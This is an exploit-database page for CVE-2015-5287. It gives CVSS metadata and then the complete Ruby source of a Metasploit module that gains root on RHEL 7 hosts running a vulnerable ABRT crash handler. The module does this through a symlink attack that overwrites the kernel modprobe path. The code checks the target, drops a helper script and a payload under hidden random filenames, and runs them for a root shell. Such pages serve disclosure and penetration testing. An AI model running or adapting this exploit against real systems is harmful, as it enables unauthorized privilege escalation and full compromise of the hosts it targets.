ABRT sosreport Privilege Escalation

2019.09.29
Credit: rebel
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ABRT sosreport Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on RHEL systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. `sosreport` uses an insecure temporary directory, allowing local users to write to arbitrary files (CVE-2015-5287). This module uses a symlink attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path in `/proc/sys/kernel/modprobe`, resulting in root privileges. Waiting for `sosreport` could take a few minutes. This module has been tested successfully on: abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and abrt 2.1.11-19.el7 on RHEL 7.1 x86_64. }, 'License' => MSF_LICENSE, 'Author' => [ 'rebel', # Discovery and sosreport-rhel7.py exploit 'bcoles' # Metasploit ], 'DisclosureDate' => '2015-11-23', 'Platform' => ['linux'], 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [[ 'Auto', {} ]], 'References' => [ ['BID', '78137'], ['CVE', '2015-5287'], ['EDB', '38832'], ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'], ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'], ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837'] ] )) register_options [ OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'] end def timeout datastore['TIMEOUT'] end def check kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' unless kernel_core_pattern.include? 'abrt-hook-ccpp' vprint_error 'System is not configured to use ABRT for crash reporting' return CheckCode::Safe end vprint_good 'System is configured to use ABRT for crash reporting' if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' vprint_error 'abrt-ccp service not running' return CheckCode::Safe end vprint_good 'abrt-ccpp service is running' # Patched in 2.1.11-35.el7 pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1] if abrt_version.blank? vprint_status 'Could not retrieve ABRT package version' return CheckCode::Safe end unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7') vprint_status "ABRT package version #{abrt_version} is not vulnerable" return CheckCode::Safe end vprint_good "ABRT package version #{abrt_version} is vulnerable" unless command_exists? 'python' vprint_error 'python is not installed' return CheckCode::Safe end vprint_good 'python is installed' CheckCode::Appears end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data chmod path register_file_for_cleanup path end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py') exe_name = ".#{rand_text_alphanumeric 5..10}" exe_path = "#{base_dir}/#{exe_name}" upload_and_chmodx exe_path, exe_data payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload_and_chmodx payload_path, generate_payload_exe register_file_for_cleanup '/tmp/hax.sh' print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..." output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } end end


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